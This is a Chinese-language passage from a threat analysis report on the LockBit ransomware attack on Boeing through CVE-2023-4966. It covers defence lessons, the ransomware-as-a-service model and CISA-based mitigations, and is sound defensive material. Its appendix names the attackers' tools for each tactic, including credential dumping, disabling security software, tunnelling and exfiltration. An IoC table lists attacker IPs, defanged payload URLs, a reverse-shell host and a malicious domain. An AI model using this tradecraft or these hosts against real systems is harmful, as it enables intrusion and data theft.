根据上述总结分析，安天态势感知平台可视化组件生成了攻击行动复现演示动画。由于安天未参与涉事公司的应急响应及取证，且涉事公司披露情况不全面，因此对本次LockBit攻击组织勒索波音公司事件的可视化复盘并不一定完全与攻击者实际攻击过程匹配，复盘中的网络拓扑、攻击过程及攻击手段存在猜想和推测。 图 4‑17 LockBit组织针对波音的勒索攻击事件可视化复现 5 波音遭遇勒索事件显露出的攻击趋势 5.1 事件中暴露的防御侧问题 安天CERT通过对波音遭遇勒索攻击事件进行复盘，结合最近两年的多起APT和定向勒索攻击事件的关联分析，对相关攻击技术的几大趋势做出以下判断： ——暴露面/可攻击面的梳理需要更加深化和清晰。 波音事件的初始攻击入口是通过ADC网关设备的cookie漏洞来获取凭证。在传统攻击中，cookie凭证窃取并不罕见，但与本次突防一体的相关运用方式并不多见。 收敛暴露面和可攻击面一直是网络安全防御重要的基础工作，因此也更容易停留在一些浅层次的理解上。如把工作简单视为：对面向互联网侧开放服务及端口的梳理，以及类似电子邮件地址等可导致攻击投放的入口与泄露情况的梳理。但在资产广泛云化、移动办公、泛在接入的背景下，以及业务形态日趋数字化和依赖互联网的发展趋势下，在接入层面、业务层面，都会出现一系列新的暴露面，包括随着攻击方在运营商和流量侧入侵布局的能力和对网关等设备入侵能力的增强，即使是轻量级的网络访问和网络业务，也同样要做暴露面的梳理。在数字化转型和各种办公通讯应用的部署过程中，也带来了更多的API层面的暴露风险。 ——攻击者对漏洞资源的利用效率远胜于防御方。 本事件用于突防的CVE-2023-4966漏洞的利用代码（POC）10月26日在Github上出现，27日攻击者宣布入侵波音成功。我们倾向攻击发生在POC代码公开后。Citrix 已于10月10日修复，但波音等机构并未进行修补。这反映出攻击者对漏洞资源的运用效率和敏感性远胜于防御方。 由于攻击者能熟练使用网络空间测绘引擎的等开源情报，并长期关注积累对重要信息目标的暴露面，因此在POC代码出现后，会有一大批攻击者快速匹配寻找可突防目标。从漏洞的角度看，此前关于0day-1day-Nday的概念，更多还是建立在漏洞发布或公开的时点上，但POC代码被公开，则更是其中需要高度关注的节点，其意味着利用难度瞬间降低，攻击活动的高峰会迅速到来。安天CERT把类似攻击称为1Exp攻击。由于RaaS+定向勒索本身又构成了一种“众筹犯罪”模型，导致关注不同目标资源或拥有目标信息资源的大量攻击者，都可能在发现机会窗口时尽可能的将机会窗口转化为实际收益。 ——安全产品本身极易成为攻击突破口。 攻击者在此次事件中实现突防的ADC设备，并非单纯的应用设备，而是具有一定安全功能，且能对通过的流量进行一定安全过滤的设备。但在越来越多的类似攻击中，明确暴露出这样一个事实：安全产品（设备）或具有一定安全能力的产品（设备）其本身并非是更加安全的，其整体的设计机理都是将安全能力作用于外部环境对象或者流量对象，并未将自身作为可能被攻击者所攻击的目标来强化自身的安全特性。同时，这些产品（设备）在现实应用中，又因其带有安全功能，往往给用户带来了“其自身是安全的”的认知错觉，从而使其更容易成为攻击者的突破点。 ——攻击者的关键作业点不只是最终的资产价值点。 通过本次波音事件中，从攻击者攻击带有可获取凭证能力的可攻击点，攻击内部域控节点，以获取相关凭证的活动来看，不能简单地把攻击视为一个在实现了初始突防后进行大面积内网扫描与横向移动以扩大资产价值的手段。显然，在攻击路径中存在着一些比普通可攻击主机具有更强的辅助后期攻击作用的关键节点，例如：攻陷防火墙等网关设备可以实现流量劫持和重定向，攻击域控服务器可以获取资产的登录凭证，攻击网络管理人员的节点可以获取访问服务器的跳板节点或控制权。因此，纵深防御和资源分配不应只是基于拓扑和资产分布的均匀分配，而应形成针对性、有重点的资源投放。 ——基于身份+权限+访问控制的合规体系极易被突破。 统一的身份认证机制、权限管理和访问控制机制是安全合规体系的重要基石。特别是统一身份认证在支撑了安全的情况下，又带来了使用上的便利性。但波音事件攻击者较容易地进行了相关凭证和身份的窃取，之后便利用这些凭证进行攻击和横向移动。由于相关行为不是一般性的探测扫描，而本身就是基于绑定凭证的定向植入与投放，导致攻击过程中波音方面完全无感。这说明在没有有效的、细粒度的感知和敏捷闭环运营能力支撑下，身份权限机制一旦被突破，就反过来成为了攻击者的掩护，从而使攻击者在整个合规体系中畅行无阻。 ——混合执行体攻击越来越普遍。 在针对波音的攻击中的工具中，包括漏洞利用工具、勒索软件，还包括开源和商用工具。在一些类似的定向勒索或APT级定向攻击中，基于攻击装备清单的梳理，往往同样有很大比例不再是传统意义上的恶意代码，而是为正常的网络管理应用目的所编写的工具或脚本，其中不乏知名的开源工具和商业产品，这些开源工具和商用产品往往都带有发布厂商的数字签名。这种组合运用多种来源执行体的攻击，安天CERT称之为混合执行体攻击。这就使攻击从早期的基于免杀的方式对主机的突防，进一步走入到可以击破反病毒引擎+可信验证的双安全系统的混合执行体攻击。防范这种攻击，简单结合反病毒引擎+可信验证，显然是颗粒度不足的。 ——主机安全防护依然没有得到有效的强化。 尽管攻击者在攻击过程中以窃取的账户和凭证为掩护，但其攻击过程依然要完成在对应目标主机上的实际载荷部署，但在整个过程中，波音的防御体系几乎无感，这显示在主机侧对应的安全产品和运营能力的不足，也进一步印证了主机侧作为资产与业务的承载主体、作为攻击者要窃取和破坏的价值目标，其防护能力需要进一步加强。在国内这一问题更为严重：在数字化发展背景下，对“安全的基石回归主机系统侧”这一必然趋势认识不足，对主机侧的安全需求依然理解为合规性的主机杀毒软件或防护软件，并更倾向以低廉的价格而非更有效的能力去选择产品。同时，由于主机侧工作更复杂、细腻，牵扯与信息化和使用部门的关系更多，导致防御者不愿意在主机侧投入主要的安全成本和管理资源，这些都会导致最后一道安全防线越来越难以抵抗定向攻击。 5.2 RaaS＋定向勒索的模式分析 勒索软件即服务（Ransomware as a Service，RaaS）是在2016年出现的。其运行模式是开发人员开发勒索程序，运营人员招收附属成员，附属成员利用各种方式投放勒索程序实现勒索攻击。在RaaS模式下发生的勒索攻击事件，每个事件可能都是独立的，因为用于勒索攻击的“基础设施”提供方和实施攻击者通常不是同一组织。通俗来说，RaaS提供方是“品牌方”，通过招收“品牌代理”的方式扩展附属成员用于投放“品牌产品”，并以产品带来的收益进行抽成分红。由于勒索软件市场的产品较多，知名勒索软件利用其臭名昭著的特点，例如附属成员及攻击事件较多、事件影响力较大和成熟的运营体系等特点，广泛招收附属成员，附属成员也是看中其品牌效应，认为受害者会根据勒索攻击组织的影响力增加支付赎金的金额和可能性。LockBit正是采用RaaS模式运营的攻击组织，归属于该组织的勒索攻击事件非常多，但实际进行勒索攻击的是LockBit组织人员还是附属成员目前暂时无法明确。 勒索攻击组织基于攻击成本和攻击效益的商业运行模式，进行了自我改进。攻击方式从最初的广撒网寻找目标，逐渐地变成对有价值的攻击目标进行定向勒索。攻击者会在事先进行详细的情报搜集，以确保攻击的成功性和收益性，攻击者选择特定的目标通常是大型企业、政府机构或关键基础设施，通过对有价值的攻击目标进行定向勒索，通常会带来更多的勒索收益。当前较为流行的勒索软件攻击组织陆陆续续将定向勒索攻击作为主要攻击方式，例如BlackCat、Clop和LockBit等。 目前勒索软件的RaaS模式不仅仅是提供技术基础设施，而是结合宣传炒作、曝光窃取数据、拍卖窃取数据、将受害人举报到监管机构等方式对受害人实施压力，并制造新闻热点，提升品牌效应，从而以滚雪球方式让勒索组织形成臭名昭著的品牌效应。定向勒索模式针对高价值目标，RaaS的附属成员通过各种方式，包括购买0Day漏洞、研发高级恶意代码、收买企业内鬼和情报等手段提高突防能力，提升勒索载荷落地成功率。这种定向+RaaS的组合模式，形成“定向勒索+窃密+曝光+售卖”链条作业，胁迫受害者支付赎金从而实现获利。 5.3 对应的防御和治理思考 安天曾在《2020年网络安全威胁回顾与展望》[6]报告中提出定向勒索攻击能力“接近APT水平”。学者韦韬则指出[7]，“对于网络勒索攻击的威胁认知大多数还停留于传统的独立个体层面，即具体的勒索软件。现在企业和机构面临的严重勒索威胁是定向勒索攻击，即Targeted Ransomware Attack，是APT+Ransomware的结合体。”“对于定向勒索攻击，备份已经不够用了。勒索是一鱼三吃:加密交钱恢复，敏感数据交钱不挂暗网(不交钱就卖)，隐私信息勒索敏感个人。”安天CERT基于研判，提出进一步的风险预警：复杂的国际形势将使勒索攻击风险变得更加微妙，基于RaaS实施的伪装为勒索攻击，实际以毁瘫为目的的攻击行动会更多出现，从而会出现更多的“假旗”事件。 ——正确的认知是有效改善防御能力的基础。 目前国内对勒索攻击的防范，往往还停留在原有的勒索软件的阶段，还有许多人没有意识到勒索攻击已经是由持续定向入侵、窃取数据、加密数据瘫痪系统、勒索金钱、挖掘数据关联价值二次利用、贩卖数据、向监管机构举报、公开窃取数据所构成的一条价值侵害链，而且已经形成了一个规模极为庞大的犯罪产业。在这样的背景下，遭遇勒索攻击的风险已经不是简单的以数据损失和业务暂停为后果的形态，而是要付出失窃的所有数据均会被贩卖、公开等一系列的连锁风险。 从定向勒索攻击的作业方式来看，其在加密毁瘫行为触发前，是类似APT攻击的高度定制化的作业过程。攻击者或者是专业的攻击作业团队，有坚定的攻击意志、较高的攻击能力、充分的可利用漏洞资源，能掌握大量可利用的脆弱性情报和攻击入口资源，有的可能直接就是内部的攻击者。这也是依托RaaS的定向勒索攻击行动，面对有较强IT运营能力和防护投入的大型机构时仍能屡屡得手的原因。无论在勒索防护中扮演最后一道防线的主机系统防护，还是作为最后应对手段的备份恢复，都是防御体系中的单点环节，都在应对高水平定向攻击中担负着在本身能力范围内检测阻断攻击、降低攻击成功率、提高攻击成本、降低风险损失的局部作用，都无法以单点来对抗体系性的攻击。我们必须严肃的指出：将定向勒索攻击简单的等同于早期非定向扩散或广泛投放的勒索软件的威胁，将对抗勒索攻击简单看成是加密毁瘫VS备份恢复的单点对抗，是极为落后、片面的安全认知。如果没有一套完整的防护体系和运营机制，而是认为依靠数据备份恢复来应对勒索攻击。就如同只出场一名守门员，来对抗对方一支球队。 ——深入关注攻击活动的运营方式和社会规律有助于重新理解防御。 研究网络攻击活动不能脱离地缘政治安全要素，不能脱离经济社会土壤，要深入关注各种攻击活动的动机和运行方式。从犯罪获利的角度来看，获得了高额的勒索赎金对应着犯罪团伙能承担更高的犯罪成本，包括购买0Day漏洞、研发高级恶意代码、收买企业内鬼和情报等。从另一个角度来看，攻击者制造了“如果不缴纳赎金，受害人将承受远比赎金更高的综合损失”的困境。 网络安全对抗与防护已经是一种经济运行机制的对决。从防御侧来看，从预算投入方面，我们通常将网络安全在信息化的占比作为一个衡量标准，这使网络安全长期处在从属、配套和被压制状态。网络安全风险后果是否才应该是安全投入的第一衡量标准，也需要我们来思考。 这从对立面让我们思考网络安全投入与对标究竟应该以什么为衡量标准？我们认为从规划预算角度，网络安全必须是一套有独立评价参照系的独立预算口径，而不是简单设定为信息化的组成部分。网络安全投入合理的衡量标准是其运行资产价值和出现安全事件的风险损失，而并非信息化投入。通过在信息化中有限占比的方式来规划网络安全投入的传统思路已经成为安全能力建设的障碍。其逻辑错误在于错误定义了网络安全的保障对象——因为网络安全能力保障的并不是IT固定资产投入价值，而是业务和数据资产价值。 对于高度依赖于信息系统运行的关基设施和政企机构，网络安全保障的是机构的全量价值，对应机构是一个企业，该价值就是企业的业务价值和营收价值，基于这个价值来判断网络安全投入的合理性，才是真正目标化的衡量标准，而不是仅与信息化投入关联所构建的成本化衡量标准。对于央企和关键基础设施部门，则还需要进一步评价对应的安全风险从企业自身风险连锁扩大到国家安全、社会治理安全和相关公民个人风险的情况。透过LockBit赎金规则，我们看到需要警惕的是：网络攻击者比网络防御者，先行一步认识到了这一规律。 ——客观的敌情想定是做好网络安全防御工作的前提。 从定向勒索攻击造成后果损失来看，我们必须改变对安全风险与价值的认知范式。由于定向勒索攻击已经形成了窃取数据、瘫痪系统和业务、贩卖数据和曝光数据的组合作业。其最大风险不只是系统和业务瘫痪无法恢复，而是同时面临被攻击企业的用户信息、关键数据、文档、资料、代码等核心资产被倒卖，被公开的风险，从而带来更大的连锁反应。从国内外安全领域长期以来的现实情况来看，很多政企机构改善自身安全的动力，并不来自于提升防护水平的能动性，很多企事业单位认为最可能发生的安全风险，不是遭遇攻击，而是因达不到合规标准，会遭到处罚。因此，安全防护领域构成了一套投入—合规—免责的低限建设运行逻辑。而定向勒索攻击所带来的后果，让IT决策者必须判断极限风险，并通过极限风险损失来判断网络安全的工作价值，如何避免业务长时间中断、数据彻底无法恢复、被窃取的数据资产被竞争对手购买，或因曝光严重贬值等极限情况，都是IT决策者和每一个机构必须应对的风险。 针对此类定向勒索攻击的防护必然不是以单点进行突围，必须从整体防护上出发，坚持关口前移，向前部署，构成纵深，闭环运营。最终通过防护体系以达成感知、干扰、阻断和呈现定向攻击方杀伤链的实战运行效果。 通过以定向勒索攻击为代表的案例，可以看到除了合规要求和既有存量之外，分析网络安全投入的关联要素还需要考虑：业务和数据资产的全局价值；攻击可能造成的最大风险损失；遭遇攻击者的可能性以及攻击者能力所能承担的攻击成本，以上因素是安全投入合理性的有效衡量标准。单纯依靠政企机构本身，往往只能知己、不能知敌人，难以完成高质量的评估，因此需要公共产品进行赋能。 ——高质量的技术分析是重要的战略支撑能力。 深入系统的威胁分析能力，一直是国内网络安全业界的一个能力长板。在长期的威胁分析斗争过程中（包括上世纪80年代后期的病毒样本分析、本世纪初开始的重大蠕虫事件分析和2010年前后系列APT事件分析），中国网络安全业界输出了大量高质量的分析成果，推动了技术创新、产品开发和持续运营，也有效支撑了相关公共安全领域决策，积累了一大批具有较高分析水平的工程师队伍；从产业层面来看，能进行有效威胁分析的安全企业越来越多。 但需要关注的是：1、在过去几年，高质量的分析成果有减少的趋势。在分析工作中，相对急功近利地追逐先发漏洞、热点事件，但不愿意长时间、大成本投入地持续跟踪深度威胁的情况比较普遍；2、规模型网络安全企业也将分析能力的保持和提升视为一种高昂的企业人力成本，而不愿意进行分析团队的扩建和体系性完善；3、在用户单位和管理部门中，也有一部分人存在着“分析报告就是企业软广”的偏颇认识，而忽视了这种分析工作对于准确判定威胁、溯源威胁行为体、研判防御的重点方向等方面具有极为重要的作用。 需要警惕的是，这些负反馈的作用下，分析能力作为我国产业长板能力会持续退化。 ——重新构建主机系统安全层面防御基石。 主机系统是业务和资产数据价值的承载者，也通常是攻击者攻击的最终目标。主机端防护能力的历史颇为悠久，从上世纪80年代中后期就已经开始普及终端杀毒软件，但今天我们在实际的分析、取证、复盘中，发现主机端安全反而成为了其中最薄弱的环节之一。在资产价值向云中主机（工作负载）不断迁移、泛在介入的背景下，防火墙等传统安全环节的价值被急剧弱化，加密流量的广泛使用进一步削弱了流量侧安全能力的可见性，这些因素都迫使安全的支撑基石必须重新回到主机系统侧，确保安全边界构建在每一台主机系统之上，并再将这些细粒度安全边界组织成为防御体系。 在主机的安全防御体系中，将主机环境塑造、恶意代码查杀、主动监测、介质管控、主机防火墙等大量的安全功能进行积木化的整合，实现按需弹性部署，从而在面对钓鱼投放、漏洞突防、恶意介质插入等攻击方式时，能够在主机侧形成包括主机边界防护、对象检测、行为管控、敏感数据保护的微观防御纵深。 ——需要构建执行体治理体系。 大量的混合执行体攻击打破了传统的“威胁检测+可信签名”的防御检测范式。攻击者更注重利用系统环境中已经存在的可利用执行对象（如系统shell），并将大量开源和商用正常工具作为实现攻击的路径和工具。这些开源和商用软件在政企机构中有着广泛应用，有的软件本身就带有合法甚至知名机构赋予的信誉，这就使我们面向执行体对象的识别颗粒度要至少到达每一个活跃和新增对象，最小化地缩窄执行入口，最大化地管控系统。这些工作既需要强大的共性能力赋能，也需要每一个关键基础设施和重要信息系统去建立自己的执行体治理基线和闭环运营机制。当然，这些工作离不开能支撑执行体治理的、有效的主机安全防护软件。 ——坚持构建动态、综合的防御体系而不是始终摇摆。 不断出现的各类重大安全威胁事件，容易产生类似最应重点防范勒索攻击还是APT攻击一类的疑惑。从水平上看，少数勒索攻击的前导攻击部分的水平，已经接近超高能力网空威胁行为体的APT攻击水准，而且勒索攻击将比APT攻击带来更直接和快速的经济损失与显性的机构信誉影响。定向勒索攻击确实是APT能力+勒索行为的结合体。但从另一角度看，由于勒索攻击组织必然要在一个相对短周期获益，其并无APT攻击者那样必须突破中心目标的关键意志力，其在长期潜伏、持久化和隐蔽作业方面，不会表现出APT攻击者的战略耐心。所以对每一个政企机构来说，其资产人员暴露面，一方面必然同时面对者多种攻击组织，但其可能遭遇的最高烈度或水平的攻击的判断，需要基于将其综合业务资产价值放到复杂的社会安全和地缘安全的背景下进行想定判断。 但必须指出的是，对大量机构来说，目前存在的并非在防御重点是APT攻击还是勒索攻击的选择问题，而是尚未完成防御基本面建设的问题。针对各种复杂的组合攻击，都需要防御层次的展开，都不存在“一招鲜，吃遍天”，所有资源、人力、策略投入的弹性调整，其前提都是已经完成了防御基础能力建设的基本动作，基本形成了动态综合、有效闭环的防御体系。这才能做到针对威胁变化实施针对性布防。可以说防御体系如能有效防御APT攻击，那么也能有效防御定向勒索攻击。 面对威胁挑战。战术上的高度重视和战略上坚定信心都是重要的。我们要坚信虽然定向勒索攻击防范难度很大，但依然有系统化的方法的和落地抓手。针对体系性的攻击，必须坚持关口前移，向前部署，构成纵深，闭环运营。提升攻击者火力侦察和进展到外围地带的发现能力，降低攻击方进入到核心地带的可能性。提升网络和资产可管理性是工作的基础：主动塑造和加固安全环境、强化暴露面和可攻击面的约束和管理、强化对供应链上游入口的管控、启动全面的日志审计分析和监测运行。构建从拓扑到系统侧的防御纵深，针对攻击者探测、投放、漏洞利用、代码运行、持久化、横向移动等行为展开层层设防，特别要建设好主机系统侧防护，将其作为最后一道防线和防御基石，构建围绕执行体识别管控的细粒度治理能力。最终通过基于防御体系实现感知、干扰、阻断定向攻击杀伤链的实战运行效果。 附录一：CISA对以定向勒索攻击战术的防护举措建议（安天译） 用户可以基于以下清单内容（该清单是安天参考CISA发布的有关LockBit报告[3]梳理形成的）对网内安全状态进行排查，使用安天提供的缓解措施进行加固，提升企业面对勒索软件时的防御与响应能力。这些工作的展开需要大量人力。用户也可以借助安天的智甲终端防护系统、睿甲云安全系统、探海威胁检测系统、追影威胁分析系统、拓痕威胁猎杀工具箱、下一代Web应用防护系统、和XDR可扩展平台等安全产品辅助您高效完成相关工作。 图 0‑1 LockBit相关勒索攻击的常见战术行为图谱 对应清单如下： 表 0‑1 LockBit相关勒索攻击的常见战术行为列表 ATT&CK阶段 具体行为 注释 初始访问 水坑攻击 在受害者经常访问的网站植入恶意代码 利用面向公众的应用程序 利用漏洞访问受害者系统，例如使用Citrix相关漏洞 利用外部远程服务 利用RDP访问受害者的网络 网络钓鱼 使用网络钓鱼和鱼叉式网络钓鱼来访问受害者的网络 利用有效账户 获取并滥用现有账户的凭据作为获得初始访问权限的手段 执行 利用命令和脚本解释器 使用批处理脚本来执行恶意命令 利用第三方软件部署工具 使用Chocolatey命令行包管理器部署 利用系统服务 使用PsExec来执行命令或有效负载 持久化 利用自动启动执行引导或登录 启用自动执行以实现持久性 有效账户 使用受损的用户账户来维持目标网络上的持久性 提权 滥用提升控制权限机制 在UACMe中使用ucmDccwCOM方法实现绕过UAC 利用自动启动执行引导或登录 启用自动登录以实现提权 利用域策略修改 为横向移动创建组策略，并可以强制更新组策略 利用有效账户 使用受损的用户账户提权 防御规避 执行范围保护 输入正确的参数会解密主要组件或继续解密和解压缩数据 削弱防御机制 使用PCHunter、PowerTool和Process Hacker等工具来禁用和卸载与安全软件有关的进程和服务 删除信标 清除Windows事件日志文件，勒索软件自删除 混淆文件或信息 将向其命令和控制（C2）发送加密的数据 凭证访问 暴力破解 利用VPN或RDP暴力破解实现初始访问 从存储密码的位置获取凭证 使用PasswordFox获取Firefox浏览器的密码 操作系统凭证转储 使用ExtPassword或LostMyPassword用于获取操作系统登录凭证 发现 扫描网络服务 使用SoftPerfect扫描目标网络 发现系统信息 枚举系统信息，包括主机名、主机配置、域信息、本地驱动器配置、远程共享和安装的外部存储设备 发现系统地理位置 不会感染语言设置与定义的排除列表相匹配的计算机 横向移动 利用远程服务 跨网络横向移动并访问域控制器 收集 压缩/加密收集的数据 在窃取数据之前使用7-zip来压缩或加密收集的数据 命令与控制 使用应用层协议 使用FileZilla进⾏C2通信 使用标准非应用层协议 使用Ligolo从反向连接建⽴SOCKS5或TCP隧道 使用协议隧道 使用plink在Windows上自动执⾏SSH操作 利用远程访问软件 使用AnyDesk、Atera RMM或 TeamViewer等工具进⾏远程控制 数据渗出 自动渗出数据 使用StealBit自定义渗透⼯具从目标网络窃取数据 使用Web服务回传 使用公开的文件共享服务来窃取目标的数据 影响 损毁数据 删除日志文件并清空回收站 造成恶劣影响的数据加密 对目标系统上的数据进行加密，以中断系统和网络的可用性 篡改可见内容 将主机系统的壁纸和图标分别更改为LockBit 3.0壁纸和图标 禁用系统恢复 删除磁盘上的卷影副本 禁用服务 终止特定进程和服务 各个攻击阶段的防护策略建议如下： 初始访问 1)技术手段：水坑攻击、利用面向公众的应用程序、利用外部远程服务、网络钓鱼、利用有效账户。 2)针对对象：访问的网站、Web服务、RDP等远程服务、邮箱用户、系统账户。 3)缓解措施： ·利用沙箱运行风险程序和通过浏览器、企业通讯、网盘等途径接收的文件。 ·部署Web应用程序防火墙。在Web应用服务器前置部署Web应用程序防火墙，后续及时更新防护规则。 ·采用强密码策略。密码长度至少为12个字符，定期更改密码，多个业务使用不同密码。 ·完善邮件服务器或公有邮件系统告警策略，添加收发外部邮件的安全性警告。 ·限制账户访问来源。根据业务场景限制Web应用、邮件、VPN等服务的访问源IP、端口，只允许具有TLS或其他加密保护的连接。 ·检查承载互联网业务的服务并禁用非业务要求的其它服务。 ·在不影响业务运行的情况下，持续更新相关系统及软件。 执行 1)技术手段：利用命令和脚本解释器、利用第三方软件部署工具、利用系统服务。 2)针对对象：PowerShell、第三方软件部署工具、系统服务。 3)缓解措施： ·配置PowerShell脚本执行策略，只允许已签名的代码执行，可能会影响PowerShell相关业务。 命令：Set-ExecutionPolicy AllSigned ·启用PowerShell日志。 在Windows事件查看器中修改“应用程序和服务日志\Microsoft\Windows\PowerShell\Operational”日志类别的属性，确保日志记录为打开状态，且增加日志最大大小以存储更长时间的日志。 ·限制软件安装，设置应用程序控制策略。 利用终端安全防护产品设置只允许可信程序执行。利用本地安全策略中的软件限制策略 (SRP)、AppLocker设置软件执行限制，阻止非业务软件执行。 图 0‑2 设置本地安全策略 ·设置软件权限，启用UAC用户账户控制。 打开“控制面板\用户账户\更改用户账户控制设置”，将UAC级别设置为“始终通知”。 图 0‑3 设置UAC通知级别 ·配置Windows 注册表。 要求 UAC 批准任何需要管理员权限的 PsExec 操作，以降低 PsExec 横向移动的风险。 持久化 1)技术手段：利用自动启动执行引导或登录、有效账户。 2)针对对象：自启动链、账户。 3)缓解措施： ·加强账户有效期管理。按需设置账户有效期，及时清除不再使用的账户，定期修改账户凭据。 ·限制账户访问来源。根据业务场景限制Web应用、邮件、VPN等服务的访问源IP、端口，只允许具有TLS或其他加密保护的连接。 ·加强特权账户管理。定期审核域、本地账户及其权限级别，查找被对手通过获取特权账户凭据来获得广泛访问权限的可能。还应审核是否启用了默认账户，或者是否创建了未经授权的新本地账户。账户管理应遵循企业网络设计和管理的最佳实践，以限制跨管理层的特权账户使用。 ·完善默认密码变更策略。使用默认用户名和密码的应用程序和设备应在安装后、部署到生产环境之前立即更改。 提权 1)技术手段：滥用提升控制权限机制、利用自动启动执行引导或登录、利用域策略修改、利用有效账户。 2)针对对象：系统权限管理机制。 3)缓解措施： ·及时更新并修复提权漏洞。及时更新操作系统及应用程序版本，在不影响业务运行的情况下，修复权限提升漏洞。 ·加强权限管理和审核。完善权限管理制度和业务流程，避免权限被意外更改，避免出现错误的、不安全的配置。 ·在不影响正常业务情况下，禁用命令行和脚本执行。 ·加强用户账户审计。检查 Windows 系统上常见的 UAC 绕过风险点，在适当的情况下解决问题。 ·调节用户账户控制级别。在适当的情况下，使用 UAC 最高强制级别，降低UAC 绕过机会。 防御规避 1)技术手段：执行范围保护、削弱防御机制、删除信标、混淆文件或信息。 2)针对对象：防御机制。 3)缓解措施： ·避免未知程序执行。应用本地安全策略、UAC、终端安全防护产品执行限制等，设置白名单程序以阻止未知程序执行。 ·配置远程日志服务并定期备份，避免日志被删除或篡改。 ·加强用户账户审计。定期检查账户角色权限，确保只有规定的用户角色才有权修改防御配置。 ·加强应用程序管控。管控组织既定应用程序之外的工具执行，确保仅在企业系统上使用和运行经过批准的安全应用程序。 ·限制文件、目录、注册表读写权限。配置适当的进程和文件权限，防止文件、目录、注册表被禁用或干扰安全/日志记录服务。 ·完善安全策略配置。在内部 Web 服务器上实施安全策略，强制使用 HTTPS防止不安全的连接。 ·加强用户账户管理。确保适当的用户权限到位，以防止对手禁用或干扰安全/日志记录服务。 凭证访问 1)技术手段：暴力破解、从存储密码的位置获取凭证、操作系统凭证转储。 2)针对对象：系统账户、lsass.exe进程、系统凭证存储区。 3)缓解措施： ·配置安全策略，限制 NTLM 根据业务场景，在充分测试后设置组策略“计算机配置\Windows 设置\安全设置\本地策略\安全选项\网络安全：限制NTLM”相关选项 图 0‑4 设置NTLM限制策略 ·设置防火墙策略。根据业务需求，设置防火墙阻止445、137、138、149等端口的入站连接。 ·使用条件访问策略阻止从不合规的设备或 IP 范围之外进行登录。 ·使用多重身份验证。 发现 1)技术手段：扫描网络服务、发现系统信息、发现系统地理位置。 2)针对对象：系统信息、对外服务信息。 3)缓解措施： ·禁用非业务端口，通过防火墙配置，禁用远程桌面服务的TCP端口3389及所有UDP端口。 图 0‑5设置防火墙规则 ·正确划分网络。确保遵循正确的网络分段以保护关键服务器和设备。 ·利用网络入侵检测和防御系统监测和识别网络扫描、暴力破解等异常活动，检测和防止远程服务扫描。 横向移动 1)技术手段：利用远程服务。 2)针对对象：Web服务、RDP、远程连接。 3)缓解措施： ·检查Active Directory、远程连接、Web服务配置，删除多余权限。 ·利用网络入侵检测和防御系统监测和识别网络扫描、暴力破解等异常活动。 ·定期扫描内部网络以查找可用服务，以识别新的和可能遭受攻击的服务。 ·遵循最小化权限原则，禁用或删除不适用的服务。 收集 1)技术手段：压缩/加密收集的数据。 2)针对对象：敏感数据。 3)缓解措施： ·根据业务场景和资产情况，划分不同敏感度的数据类别，设置不同权限和访问策略。 ·加强用户接入监测强度。例如将VPN区域视为不可信网络区域，并提高其监测强度。 ·强化应用程序审计。执行系统扫描来识别未经授权的应用程序。 命令与控制 1)技术手段：使用应用层协议、使用标准非应用层协议、使用协议隧道、利用远程访问软件。 2)针对对象：网络协议、第三方远程访问软件（具备数字签名）。 3)缓解措施： ·限制远程访问软件的使用。通过防火墙或网络监控设备限制访问远程软件相关IP及域名。 ·加强网络流量检测和响应，开展网络流量检测和响应识别，旨在通过识别网络侧恶意软件流量进行的网络入侵，并采取相应的防御措施，以减轻网络活动的风险。 ·完善网络流量过滤，防止跨网络边界使用不必要的网络协议。 ·正确配置防火墙和代理。将传出流量限制为仅通过适当的网络网关系统发送到必要的端口。还要确保主机仅配置为通过授权接口进行通信。 ·增加系统hosts文件配置。在“C:\Windows\System32\drivers\etc\hosts”，设置拦截远程软件相关域名。 图 0‑6 设置Hosts拦截常用远程控制软件 ·加强远程访问程序控制。通过应用程序控制来减少安装、使用未经批准的远程访问软件。 数据渗出 1)技术手段：自动渗出数据、使用Web服务回传。 2)针对对象：数据。 3)缓解措施： ·限制网络数据流出：采用Web 代理可用于强制执行外部网络通信策略，以防止使用未经授权的外部服务。 ·加强数据丢失防护。检测并阻止通过网络浏览器上传敏感数据到网络服务。 ·引入威胁情报。通过引入威胁情报，在已发现的零散信息中形成更多事件的线索，帮助组织发现和拦截下一次攻击。 影响 1)技术手段：损毁数据、造成恶劣影响的数据加密、篡改可见内容、禁用系统恢复、禁用服务。 2)针对对象：数据、系统配置、系统卷影副本、服务。 3)缓解措施： ·数据备份。定期维护备份和恢复（至少每天或每周）。建议遵循 3-2-1 备份策略：在两种不同介质（例如磁盘和磁带）上拥有三份数据副本（一份生产数据副本和两份备份副本），其中一份副本保存在异地。通过物理介质（如数据磁带等）或其他措施保证备份数据无法被更改或删除。 ·预防端点有害行为。在 Windows 10 上，启用云保护和攻击面减少 (ASR) 规则以阻止类似勒索软件的文件执行。 ·完善操作系统配置。防止禁用“系统恢复”功能中涉及的服务或删除文件，确保使用以下命令启用 WinRE：reagentc /enable。 ·加强用户账户管理。将有权访问备份的用户账户限制为仅需要的用户账户。 ·远程实时备份系统日志及重要文件。 ·远程备份系统卷影副本。 ·监控敏感系统服务操作，特别是停止操作。 附表二：本次事件涉及到的loCs IoCs 备注 192.229.221.95 Mag.dll会连接这个IP，该IP为dns0.org解析地址 193.201.9.224 从受感染系统FTP连接IP 62.233.50.25 hxxp://62.233.50.25/en-us/docs.html hxxp://62.233.50.25/en-us/test.html 51.91.79.17 Temp.sh内的IP地址 70.37.82.20 从一个已知的受损账户中发现 IP 正在访问 Altera IP 地址。LockBit 利用 Altera 远程管理工具，例如 Anydesk、TeamViewer等。 185.17.40.178 Teamviewer C2地址，与一家波兰服务提供商Artnet Sp. Zo.o建立了联系，IP地址所属波兰 185.229.191.41 Anydesk的C2地址 81.19.135.219 hxxp://81.19.135.219:443/q0X5wzEh6P7.hta hxxp://81.19.135.219/F8PtZ87fE8dJWqe.hta 172.67.129.176 adobe-us-updatefiles.digital解析的IP地址 104.21.1.180 adobe-us-updatefiles.digital解析的IP地址 81.19.135.220 受害系统日志发现的IP地址 81.19.135.226 受害系统日志发现的IP地址 141.98.9.137 Citrix Bleed的远程IP 54.84.248.205 fixme的IP地址 206.188.197.22 powershell日志中发现的反向shell连接IP地址 185.230.212.83 Zoho远程软件连接的IP地址 185.20.209.127 Zoho远程软件连接的IP地址 101.97.36.61 Zoho远程软件连接的IP地址 168.100.9.137 SSH协议端口转发 adobe-us-updatefiles.digital 用于下载混淆工具集 域名解析IP： 172.67.129.176 104.21.1.180 eu1-dms.zoho.eu Zoho远程软件域名 assist.zoho.eu Zoho远程软件域名 fixme.it 在线远程服务 